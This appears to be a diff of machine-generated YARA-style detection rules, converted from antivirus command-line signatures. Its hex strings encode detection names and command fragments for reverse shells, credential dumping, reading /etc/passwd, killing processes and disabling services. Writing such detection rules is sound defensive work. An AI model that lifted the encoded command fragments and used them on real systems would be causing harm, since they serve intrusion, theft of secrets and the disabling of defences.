00 54 65 63 68 6e 69 71 75 65 54 72 61 63 6b 65 72 00 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 } //8308 + $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 56 61 6c 69 64 44 6f 6d 61 69 6e 41 63 63 6f 75 6e 74 73 2e 41 00 01 00 52 00 77 00 6d 00 69 00 63 00 20 00 6e 00 74 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 20 00 } //21539 condition: - ((#a_46_0 & 1)*21283+(#a_74_1 & 1)*8308) >=1 + ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_25852{ +rule _InfrastructureShared_27171{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {57 69 6e 33 32 2f 53 75 73 70 69 63 69 6f 75 73 53 65 6e 73 65 43 6f 6d 70 6f 6e 65 6e 74 54 61 6d 70 65 72 2e 42 41 00 01 00 0e 00 74 00 61 00 6b 00 65 00 6f 00 77 00 6e 00 01 00 08 00 20 00 2f 00 66 00 20 00 01 00 16 00 4d 00 } //21283 + $a_00_1 = {65 00 6e 00 73 00 65 00 2e 00 65 00 78 00 65 00 00 00 d7 6f 00 00 03 00 03 00 04 00 21 23 53 4c 46 3a 53 53 4c 54 75 6e 6e 65 6c 2e 53 30 30 31 00 01 00 24 00 2d 00 61 00 75 00 74 00 6f 00 2d 00 73 00 74 00 6f 00 72 00 65 00 2d 00 73 00 73 00 68 00 } //115 + $a_00_2 = {79 00 01 00 08 00 20 00 2d 00 52 00 20 00 01 00 0c 00 2d 00 50 00 20 00 34 00 34 00 33 00 18 fc 0a 00 50 00 6c 00 69 00 6e 00 6b 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 31 00 00 00 01 00 00 00 7a 08 00 00 57 00 00 00 04 00 00 00 bd c3 00 00 0d 15 13 00 9b 00 00 00 32 35 62 33 38 65 34 } //107 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*115+(#a_00_2 & 1)*107) >=3 + +} +rule _InfrastructureShared_27172{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 21 " + + strings : + $a_46_0 = {53 53 4c 54 75 6e 6e 65 6c 2e 53 30 30 31 00 01 00 24 00 2d 00 61 00 75 00 74 00 6f 00 2d 00 73 00 74 00 6f 00 72 00 65 00 2d 00 73 00 73 00 68 00 6b 00 65 00 79 00 01 00 08 00 20 00 2d 00 52 00 20 00 01 00 0c 00 2d 00 50 00 20 } //21283 + $a_fc_2 = {00 50 00 6c 00 69 00 6e 00 6b 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 } //51 + $a_00_3 = {00 31 00 00 00 01 00 00 } //31232 + condition: + ((#a_46_0 & 1)*21283+(#a_fc_2 & 1)*51+(#a_00_3 & 1)*31232) >=3 + +} +rule _InfrastructureShared_27173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 03 00 21 " @@ -338485,7 +355467,7 @@ rule _InfrastructureShared_25852{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32+(#a_2e_2 & 1)*30059) >=6 } -rule _InfrastructureShared_25853{ +rule _InfrastructureShared_27174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " @@ -338498,7 +355480,7 @@ rule _InfrastructureShared_25853{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*101+(#a_65_3 & 1)*25185+(#a_00_4 & 1)*70) >=5 } -rule _InfrastructureShared_25854{ +rule _InfrastructureShared_27175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " @@ -338510,7 +355492,7 @@ rule _InfrastructureShared_25854{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*83+(#a_3a_3 & 1)*19539) >=5 } -rule _InfrastructureShared_25855{ +rule _InfrastructureShared_27176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 03 00 21 " @@ -338522,7 +355504,7 @@ rule _InfrastructureShared_25855{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*58+(#a_ff_2 & 1)*92) >=1 } -rule _InfrastructureShared_25856{ +rule _InfrastructureShared_27177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 01 00 07 00 21 " @@ -338536,7 +355518,7 @@ rule _InfrastructureShared_25856{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*100+(#a_3a_4 & 1)*19539+(#a_00_5 & 1)*34+(#a_02_6 & 1)*1) >=1 } -rule _InfrastructureShared_25857{ +rule _InfrastructureShared_27178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,10 00 10 00 06 00 21 " @@ -338549,7 +355531,7 @@ rule _InfrastructureShared_25857{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*99+(#a_63_3 & 1)*9984+(#a_00_4 & 1)*116) >=16 } -rule _InfrastructureShared_25858{ +rule _InfrastructureShared_27179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 07 00 21 " @@ -338562,7 +355544,7 @@ rule _InfrastructureShared_25858{ ((#a_46_0 & 1)*21283+(#a_00_3 & 1)*114+(#a_00_5 & 1)*119+(#a_00_6 & 1)*110) >=7 } -rule _InfrastructureShared_25859{ +rule _InfrastructureShared_27180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 03 00 21 " @@ -338573,7 +355555,7 @@ rule _InfrastructureShared_25859{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101) >=5 } -rule _InfrastructureShared_25860{ +rule _InfrastructureShared_27181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " @@ -338586,7 +355568,7 @@ rule _InfrastructureShared_25860{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*102+(#a_00_3 & 1)*111+(#a_57_4 & 1)*17996) >=5 } -rule _InfrastructureShared_25861{ +rule _InfrastructureShared_27182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 10 00 21 " @@ -338598,29 +355580,51 @@ rule _InfrastructureShared_25861{ $a_00_5 = {73 00 65 00 72 00 20 00 2f 00 64 00 65 00 6c 00 65 00 74 00 65 00 00 00 e7 24 00 00 00 17 09 00 21 23 41 47 47 52 3a 53 70 65 63 69 61 6c 46 69 6c 65 45 78 74 2e 42 14 ad c2 ad e2 c2 d7 e7 e7 e7 2e 00 00 00 13 17 00 21 23 45 78 63 65 70 74 69 6f 6e 3a 49 6e 67 72 65 73 73 e7 da bc ec 17 6a e3 44 14 0b ac 1a d1 80 0b 89 1e ac 0b 0b 80 3f 1e e7 31 00 } //32 $a_15_6 = {21 23 41 47 47 52 3a 41 6c 74 65 72 69 67 6f 45 78 63 6c 75 73 69 6f 6e } //0 !#AGGR:AlterigoExclusion $a_ec_7 = {ea 1e 80 0b f2 3e ac fc d0 31 ea da d1 f2 ac 3f e7 3c 00 00 00 1e 1a 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 56 42 53 2f 4f 62 66 75 73 53 63 72 69 70 74 2e 41 c7 05 67 0f ec c7 f2 73 e6 ea 80 e3 d1 31 f2 f2 6a 99 c3 da d1 31 bc 1e ac 0b e7 3d 00 00 00 1d 1c 00 21 23 53 4c 46 3a 50 65 72 73 69 73 74 65 6e 63 65 46 72 6f 6d 52 65 67 41 64 64 2e 42 14 ad c2 ad 0f 9a 29 e5 41 fe 33 33 e5 ec d1 ac da 0b 31 80 c2 0b 80 3e c2 bc 13 13 e7 3f 00 00 00 19 22 00 21 23 53 4c 46 3a 52 65 6d 6f 74 65 52 74 66 46 69 6c 65 44 72 6f 70 2e 41 14 ad c2 ad 0f 9a 29 41 33 8f } //-9497 - $a_ec_8 = {0f 04 fc d0 1e 8f e7 da bc ec 04 f2 ea 80 17 3f e2 f2 e6 e7 41 00 00 00 1e 1f 00 21 23 53 4c 46 3a 50 65 72 73 69 73 74 65 6e 63 65 54 61 73 6b 41 63 74 69 6f 6e 73 2e 41 14 ad c2 ad 0f 9a 33 29 88 fe 33 33 74 ec 0b 80 3e c2 1e bc d1 e4 d1 c2 bc 31 1e f2 ac 3f d1 e7 41 00 00 00 22 1b 00 21 23 53 4c 46 3a 46 69 6c 65 57 69 74 68 54 65 63 68 6e 69 71 75 65 54 68 72 65 73 68 6f 6c 64 2e 41 e7 da bc ec 0f 80 31 18 3f f2 91 da 80 e3 1e 1e 0b f2 99 da 1e 80 d1 77 0f fc e5 e7 43 00 00 00 21 1e 00 21 23 53 4c 46 3a 50 65 72 73 69 73 74 65 6e 63 65 52 65 67 57 69 6e } //-9497 - $a_73_9 = {6f 61 64 2e 41 14 ad c2 ad 0f 9a 29 e5 41 fe 33 33 9a ec 0b 80 3e c2 1a f2 3f 13 ac 1a d1 c2 ea ac bc 13 e7 44 00 00 00 22 1e 00 21 23 53 4c 46 3a 46 69 6c 65 57 69 74 68 54 65 63 68 6e 69 71 75 65 54 68 72 65 73 68 6f 6c 64 2e 42 e7 da bc ec c7 da 99 0f 80 31 18 3f f2 91 da 80 e3 1e 1e 0b f2 99 da 1e 80 d1 77 0f fc e5 e7 45 00 00 00 1b 26 00 21 23 53 4c } //28516 - $a_75_10 = {46 69 6c 65 4e 65 77 6c 79 43 72 65 61 74 65 64 2e 41 e3 77 77 93 ec f8 80 1a 89 3f d1 f2 3e 3f 80 13 fc d0 80 8f a3 c7 0f 93 ec 17 3f 1e 80 3f 1e 0f ac ad bc ea fe e3 e7 45 00 00 00 20 21 00 21 23 53 4c 46 3a 50 65 72 73 69 73 74 65 6e 63 65 53 65 } //14918 - $a_63_11 = {42 69 6e 61 72 79 2e 41 14 ad c2 ad 0f 9a 29 e5 88 fe 33 33 88 ec 80 d0 80 31 c2 d1 80 0b 19 f2 31 80 c2 99 f2 3f bc 0b a7 e7 47 00 00 00 1a 29 00 21 23 4d 70 49 73 45 78 68 61 75 73 74 69 76 65 53 63 72 69 70 74 53 63 61 6e ad e6 17 d1 67 ac 1a 80 0b c7 18 80 ea ea e3 ad c7 17 c7 31 bc 3f 8f 14 93 89 0f fc ec 14 } //30322 - $a_d8_12 = {ad e2 04 f2 ea 80 e7 47 00 00 00 23 20 00 21 23 53 4c 46 3a 50 65 72 73 69 73 74 65 6e 63 65 52 65 67 57 69 6e 6c 6f 67 6f 6e 53 68 65 6c 6c 2e 41 14 ad c2 ad 0f 9a 29 e5 41 fe 33 33 e5 ec 0b 80 3e c2 1a f2 3f ea ac 3e ac 3f c2 d1 18 80 ea ea e7 48 00 00 00 1a 2a 00 21 23 4d 70 49 73 45 78 68 61 75 73 74 69 76 65 53 63 72 69 70 74 53 63 61 6e ad e6 17 d1 67 ac 1a 80 0b c7 18 80 ea } //-11844 - $a_c7_13 = {c7 31 bc 3f 8f c7 05 93 17 67 0f ec c7 a7 d1 1e 80 73 17 3f c3 ac fe 14 e7 48 00 00 00 1f 25 00 21 23 53 4c 46 3a 42 69 74 73 41 64 6d 69 6e 57 69 74 68 54 65 63 68 6e 69 71 75 65 73 2e 41 14 ad c2 ad 0f 9a 9a 4a 41 8f e7 da bc ec 0f 80 31 18 3f f2 91 da 80 e3 1e 1e 0b f2 99 da 1e 80 d1 77 0f fc 74 e7 49 00 00 00 24 21 00 21 23 53 4c 46 3a 50 65 72 73 69 73 74 65 6e 63 65 52 65 67 57 69 6e 6c 6f 67 6f 6e 4e 6f 74 69 66 79 2e 41 14 ad c2 ad 0f 9a 29 e5 41 fe 33 33 e5 ec 0b 80 3e c2 1a f2 3f ea ac 3e ac 3f c2 3f ac } //-7190 - $a_a7_14 = {49 00 00 00 25 20 00 21 23 45 78 63 65 70 74 69 6f 6e 3a 4c 6f 6c 62 69 6e 44 72 6f 70 73 49 6e 53 75 73 70 4c 6f 63 61 74 69 6f 6e e3 77 77 93 ec 05 ac 3f 1e 80 d0 1e 78 ad d1 e3 52 da 0b 80 e3 0b 31 67 0b ac 31 80 d1 d1 fe e3 e7 4a 00 00 00 1d 29 00 21 23 53 4c 46 3a 49 6e 74 65 6e 74 54 6f 55 73 65 52 65 6e 61 6d 65 64 57 6d 69 2e 41 e3 77 77 93 ec f8 80 1a 89 3f d1 f2 3e 3f 80 13 fc d0 80 8f a3 c7 0f 93 ec 17 3f 1e 80 3f 1e 0f ac 17 3f ce 80 31 1e fe e3 e7 4a 00 00 00 21 25 00 21 23 53 4c 46 3a 50 65 72 73 69 73 74 65 6e 63 65 57 69 74 68 54 65 63 68 6e 69 71 75 65 73 2e 41 } //-3554 - $a_ad_15 = {9a 29 e5 41 8f e7 da bc ec 0f 80 31 18 3f f2 91 da 80 e3 1e 1e 0b f2 99 da 1e 80 d1 77 0f fc 74 e7 4b 00 00 00 16 31 00 21 23 53 4c 46 3a 47 65 74 50 72 69 76 61 74 65 4b 65 79 73 2e 42 c7 05 93 17 67 0f ec 05 80 0b 1e 67 bc 1e 18 d1 fe e3 8f c7 05 93 17 67 0f ec fc d0 e6 ac 0b 1e 05 80 0b 1e f2 c3 f2 31 bc 1e 80 fe e3 12 e6 c3 d0 e7 4b 00 00 00 1d 2a 00 21 23 41 47 47 52 3a 46 69 6c 65 44 72 6f 70 70 65 64 4f 76 65 72 53 6d 62 45 78 63 6c e7 da bc ec e7 bc d1 1e 04 ac ea 13 80 0b 33 12 c3 d1 1e 73 e6 8f e7 da bc ec e7 bc d1 1e 04 ac ea 13 80 0b 9a 12 1e 80 73 e6 e7 4b 00 00 } //-21228 + $a_ec_8 = {0f 04 fc d0 1e 8f e7 da bc ec 04 f2 ea 80 17 3f e2 f2 e6 e7 41 00 00 00 1e 1f 00 21 23 53 4c 46 3a 50 65 72 73 69 73 74 65 6e 63 65 54 61 73 6b 41 63 74 69 6f 6e 73 2e 41 14 ad c2 ad 0f 9a 33 29 88 fe 33 33 74 ec 0b 80 3e c2 1e bc d1 e4 d1 c2 bc 31 1e f2 ac 3f d1 e7 43 00 00 00 21 1e 00 21 23 53 4c 46 3a 50 65 72 73 69 73 74 65 6e 63 65 52 65 67 57 69 6e 64 6f 77 73 4c 6f 61 64 2e 41 14 ad c2 ad 0f 9a 29 e5 41 fe 33 33 9a ec 0b 80 3e c2 1a f2 3f 13 ac 1a d1 c2 ea ac bc 13 e7 44 00 00 00 22 1e 00 21 23 53 4c 46 3a 46 69 6c 65 57 69 74 68 54 65 63 68 6e 69 71 } //-9497 + $a_68_9 = {65 73 68 6f 6c 64 2e 42 e7 da bc ec c7 da 99 0f 80 31 18 3f f2 91 da 80 e3 1e 1e 0b f2 99 da 1e 80 d1 77 0f fc e5 e7 45 00 00 00 1b 26 00 21 23 53 4c 46 3a 53 75 73 46 69 6c 65 4e 65 77 6c 79 43 72 65 61 74 65 64 2e 41 e3 77 77 93 ec f8 80 1a 89 3f d1 } //25973 + $a_80_10 = {fc d0 80 8f a3 c7 0f 93 ec 17 3f 1e 80 3f 1e 0f ac ad bc ea fe e3 e7 45 00 00 00 20 21 00 21 23 53 4c 46 3a 50 65 72 73 69 73 74 65 6e 63 65 53 65 72 76 69 63 65 42 69 6e 61 72 79 2e 41 14 } //�Ѐ�����?�?�������E 16114 + $a_0f_11 = {9a 29 e5 88 fe 33 33 88 ec 80 d0 80 31 c2 d1 80 0b 19 f2 31 80 c2 99 f2 3f bc 0b a7 e7 47 00 00 00 1a 29 00 21 23 4d 70 49 73 45 78 68 61 75 73 74 69 76 65 53 63 72 69 70 74 53 63 61 6e ad e6 17 d1 67 ac 1a 80 0b c7 18 80 ea ea e3 ad c7 17 c7 31 bc 3f 8f 14 93 89 0f fc ec 14 bc d1 80 d8 e5 ad e2 04 f2 ea 80 e7 47 00 00 00 23 20 00 21 23 53 4c 46 3a 50 65 72 73 69 73 74 65 6e 63 65 52 65 67 57 69 6e 6c 6f 67 6f 6e 53 68 65 6c 6c 2e 41 14 ad c2 ad 0f 9a 29 e5 41 fe 33 33 e5 ec 0b 80 3e c2 1a f2 3f ea ac 3e ac 3f c2 } //-15699 + $a_ea_12 = {e7 48 00 00 00 1a 2a 00 21 23 4d 70 49 73 45 78 68 61 75 73 74 69 76 65 53 63 72 69 70 74 53 63 61 6e ad e6 17 d1 67 ac 1a 80 0b c7 18 80 ea ea e3 ad c7 17 c7 31 bc 3f 8f c7 05 93 17 67 0f ec c7 a7 d1 1e 80 73 17 3f c3 ac fe 14 e7 48 00 00 00 1f 25 00 21 23 53 4c 46 3a 42 69 74 73 41 64 6d 69 6e 57 69 74 68 54 65 63 68 6e 69 71 75 65 73 2e 41 14 ad c2 ad 0f 9a 9a 4a 41 8f e7 da bc } //6353 + $a_31_13 = {3f f2 91 da 80 e3 1e 1e 0b f2 99 da 1e 80 d1 77 0f fc 74 e7 49 00 00 00 24 21 00 21 23 53 4c 46 3a 50 65 72 73 69 73 74 65 6e 63 65 52 65 67 57 69 6e 6c 6f 67 6f 6e 4e 6f 74 69 66 79 2e 41 14 ad c2 ad 0f 9a 29 e5 41 fe 33 33 e5 ec 0b 80 3e c2 1a f2 3f ea ac 3e ac 3f c2 3f ac 1e f2 c3 a7 e7 49 00 00 00 25 20 00 21 23 45 78 63 65 70 74 69 6f 6e 3a 4c 6f 6c 62 69 6e 44 72 6f 70 73 49 } //4076 + $a_73_14 = {4c 6f 63 61 74 69 6f 6e e3 77 77 93 ec 05 ac 3f 1e 80 d0 1e 78 ad d1 e3 52 da 0b 80 e3 0b 31 67 0b ac 31 80 d1 d1 fe e3 e7 4a 00 00 00 1d 29 00 21 23 53 4c 46 3a 49 6e 74 65 6e 74 54 6f 55 73 65 52 65 6e 61 6d 65 64 57 6d 69 2e 41 e3 77 77 93 ec f8 80 1a 89 3f d1 f2 3e 3f 80 13 fc d0 80 8f a3 c7 0f 93 ec 17 3f 1e 80 3f 1e 0f ac 17 3f ce 80 31 1e fe } //21358 + $a_00_15 = {00 00 21 25 00 21 23 53 4c 46 3a 50 65 72 73 69 73 74 65 6e 63 65 57 69 74 68 54 65 63 68 6e 69 71 75 65 73 2e 41 14 ad c2 ad 0f 9a 29 e5 41 8f e7 da bc ec 0f 80 31 18 3f f2 91 da 80 e3 1e 1e 0b f2 99 da 1e 80 d1 77 0f fc } //-6173 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101+(#a_00_3 & 1)*108+(#a_00_4 & 1)*101+(#a_00_5 & 1)*32+(#a_15_6 & 1)*0+(#a_ec_7 & 1)*-9497+(#a_ec_8 & 1)*-9497+(#a_73_9 & 1)*28516+(#a_75_10 & 1)*14918+(#a_63_11 & 1)*30322+(#a_d8_12 & 1)*-11844+(#a_c7_13 & 1)*-7190+(#a_a7_14 & 1)*-3554+(#a_ad_15 & 1)*-21228) >=21 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101+(#a_00_3 & 1)*108+(#a_00_4 & 1)*101+(#a_00_5 & 1)*32+(#a_15_6 & 1)*0+(#a_ec_7 & 1)*-9497+(#a_ec_8 & 1)*-9497+(#a_68_9 & 1)*25973+(#a_80_10 & 1)*16114+(#a_0f_11 & 1)*-15699+(#a_ea_12 & 1)*6353+(#a_31_13 & 1)*4076+(#a_73_14 & 1)*21358+(#a_00_15 & 1)*-6173) >=21 } -rule _InfrastructureShared_25862{ +rule _InfrastructureShared_27183{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {53 75 73 70 53 65 72 76 69 63 65 53 74 6f 70 2e 43 00 02 00 1b 02 74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 90 02 f0 2f 00 69 00 6d 00 90 00 00 00 d7 52 00 00 04 00 04 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=2 + +} +rule _InfrastructureShared_27184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 79 75 6b 73 70 61 77 6e 2e 43 00 04 00 27 02 72 00 75 00 6e 00 64 00 6c 00 6c 00 90 02 50 3a 00 5c 00 70 00 65 00 72 00 66 00 6c 00 6f 00 67 00 73 00 5c 00 90 00 00 00 d7 9f 00 00 02 00 } //21283 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 79 75 6b 73 70 61 77 6e 2e 43 00 04 00 27 02 72 00 75 00 6e 00 64 00 6c 00 6c 00 90 02 50 3a 00 5c 00 70 00 65 00 72 00 66 00 6c 00 6f 00 67 00 73 00 5c 00 90 00 00 00 d7 7c 00 00 02 00 } //21283 condition: ((#a_46_0 & 1)*21283) >=4 } -rule _InfrastructureShared_25863{ +rule _InfrastructureShared_27185{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 04 00 21 " + + strings : + $a_46_0 = {53 75 73 70 53 65 72 76 69 63 65 53 74 6f 70 2e 41 00 02 00 16 00 73 00 63 00 2e 00 65 00 78 00 65 00 20 00 73 00 74 00 6f 00 70 00 02 00 18 00 6e 00 65 00 74 00 2e 00 65 00 78 00 65 00 20 00 73 00 74 00 6f 00 70 00 02 00 0e 00 } //21283 + $a_00_1 = {20 00 73 00 74 00 6f 00 70 00 02 00 10 00 6e 00 65 00 74 00 20 00 73 00 74 00 6f 00 70 00 00 00 d7 9f 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 53 75 73 70 53 65 72 76 69 63 65 53 74 6f 70 2e 42 00 02 00 41 02 5c 00 73 00 63 00 2e 00 65 00 78 00 65 00 90 02 40 63 00 6f 00 6e 00 66 00 69 00 67 00 } //115 + $a_73_2 = {74 00 61 00 72 00 74 00 3d 00 90 02 10 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 64 00 90 00 02 00 36 02 73 00 63 00 20 00 63 00 6f 00 6e 00 66 00 69 00 67 00 90 02 f0 73 00 74 00 61 00 72 00 74 00 3d 00 90 02 10 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 64 00 90 00 00 00 d7 a7 00 00 04 00 04 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 79 75 6b 73 70 61 77 6e 2e 44 00 04 00 36 02 70 00 77 00 73 00 68 00 90 02 50 31 00 3e 00 78 00 39 00 30 00 02 50 5c 00 5c 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 90 02 50 32 00 3e 00 90 00 04 00 42 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 31 00 3e 00 78 00 39 00 30 00 02 50 5c 00 5c 00 31 00 32 00 37 00 2e } //656 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*115+(#a_73_2 & 1)*656) >=2 + +} +rule _InfrastructureShared_27186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -338630,7 +355634,7 @@ rule _InfrastructureShared_25863{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_25864{ +rule _InfrastructureShared_27187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 02 00 21 " @@ -338640,7 +355644,7 @@ rule _InfrastructureShared_25864{ ((#a_46_0 & 1)*21283) >=4 } -rule _InfrastructureShared_25865{ +rule _InfrastructureShared_27188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 02 00 21 " @@ -338650,120 +355654,7 @@ rule _InfrastructureShared_25865{ ((#a_46_0 & 1)*21283) >=4 } -rule _InfrastructureShared_25866{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " - - strings : - $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 75 73 70 43 72 65 64 44 75 6d 70 2e 41 31 00 0a 00 1d 02 6c 00 61 00 7a 00 61 00 67 00 6e 00 65 00 90 02 80 2f 00 74 00 6d 00 70 00 2f 00 90 00 00 00 d7 57 00 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=10 - -} -rule _InfrastructureShared_25867{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " - - strings : - $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 75 73 70 41 63 63 6f 75 6e 74 44 69 73 63 6f 76 65 72 79 2e 41 31 00 0a 00 1e 00 63 00 61 00 74 00 20 00 2f 00 65 00 74 00 63 00 2f 00 70 00 61 00 73 00 73 00 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=10 - -} -rule _InfrastructureShared_25868{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 04 00 21 " - - strings : - $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 75 73 70 46 69 6c 65 43 72 65 61 74 69 6f 6e 2e 50 31 00 05 00 0c 00 63 00 68 00 6d 00 6f 00 64 00 20 00 05 00 04 00 2b 00 73 00 05 00 08 00 34 00 37 00 37 00 } //21539 - $a_00_1 = {08 00 34 00 37 } //55 - $a_62_3 = {00 0a 00 0a 00 01 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 75 73 70 53 63 72 65 65 6e 43 61 70 74 75 72 65 2e 41 31 00 0a 00 2c 00 73 00 63 00 72 00 65 00 65 00 6e 00 63 00 61 00 70 00 74 00 75 00 72 00 65 00 20 00 2d 00 78 00 20 00 2f 00 74 00 6d 00 70 00 2f 00 00 00 d7 64 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 75 73 70 53 68 61 72 65 64 52 65 73 6f 75 72 63 65 44 69 73 63 6f 76 65 72 79 2e 41 31 00 0a 00 24 00 73 00 6d 00 62 00 75 00 74 00 69 00 6c 00 20 00 76 00 69 00 65 00 77 00 20 00 2d 00 67 00 20 00 2f 00 2f 00 00 00 d7 6d 00 00 0a 00 0a 00 01 00 21 23 } //0 - condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*55+(#a_62_3 & 1)*0) >=10 - -} -rule _InfrastructureShared_25869{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " - - strings : - $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 75 73 70 53 63 72 65 65 6e 43 61 70 74 75 72 65 2e 41 31 00 0a 00 2c 00 73 00 63 00 72 00 65 00 65 00 6e 00 63 00 61 00 70 00 74 00 75 00 72 00 65 00 20 00 2d } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=10 - -} -rule _InfrastructureShared_25870{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " - - strings : - $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 75 73 70 53 68 61 72 65 64 52 65 73 6f 75 72 63 65 44 69 73 63 6f 76 65 72 79 2e 41 31 00 0a 00 24 00 73 00 6d 00 62 00 75 00 74 00 69 00 6c 00 20 00 76 00 69 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=10 - -} -rule _InfrastructureShared_25871{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " - - strings : - $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 75 73 70 52 65 76 65 72 73 65 53 68 65 6c 6c 2e 41 31 00 0a 00 38 02 73 00 6f 00 63 00 6b 00 65 00 74 00 90 02 ff 2e 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=10 - -} -rule _InfrastructureShared_25872{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " - - strings : - $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 75 73 70 50 6f 6c 69 63 79 44 69 73 63 6f 76 65 72 79 2e 41 31 00 0a 00 36 00 70 00 77 00 70 00 6f 00 6c 00 69 00 63 00 79 00 20 00 67 00 65 00 74 00 61 00 63 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=10 - -} -rule _InfrastructureShared_25873{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " - - strings : - $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 75 73 70 43 72 65 64 44 75 6d 70 2e 42 31 00 0a 00 59 02 64 00 73 00 63 00 6c 00 20 00 2e 00 20 00 72 00 65 00 61 00 64 00 90 02 80 64 00 73 00 41 00 74 00 74 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=10 - -} -rule _InfrastructureShared_25874{ - meta: - description = 